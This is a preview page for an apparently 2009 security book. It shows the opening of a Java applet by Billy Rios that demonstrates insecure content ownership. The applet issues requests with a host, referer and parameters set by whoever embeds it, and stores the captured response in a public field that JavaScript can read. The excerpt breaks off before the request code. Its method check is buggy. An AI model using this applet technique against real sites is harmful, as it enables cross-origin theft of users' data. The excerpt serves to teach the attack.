August 2009
Beginner
298 pages
9h 5m
English
import java.applet.*; import java.io.*; import java.util.*; import java.net.*; import java.awt.*; import org.w3c.dom.*; import javax.xml.parsers.*; // Multi-purpose class made to demonstrate // the dangers of insecure content ownership. // By: Billy (BK) Rios public class HiddenClass extends Applet { Font bigFont = new Font("Arial",Font.BOLD,16); // I explicitly declare this stuff public so that // javascript can access this value public String jackedstuff = ""; // The method that will be automatically called // when the applet is started public void init() { setBackground(Color.black); String mymethod; String myrequest; String myhost; String myreferer; String myparameters; mymethod = getParameter("Method"); if (mymethod != "GET" || mymethod != "POST") { mymethod = "GET"; System.out.println("No Method specified! Using GET"); } myrequest = getParameter("Request"); if (myrequest == null) { myrequest = this.getCodeBase().toString();; System.out.println("No Request specified! Using Default"); } myhost = getParameter("Host"); if (myhost == null) { myhost = this.getCodeBase().getHost().toString();; System.out.println("No Host specified! Using Default"); } myreferer = getParameter("Referer"); if (myreferer == null) { myreferer = this.getCodeBase().toString(); System.out.println("No Referer specified! Using Default"); } myparameters = getParameter("Params"); if (myparameters == null) { myparameters = ""; System.out.println("No Params specified! Using Default"); } request(mymethod,myrequest,myhost,myreferer,myparameters); ...Read now
Unlock full access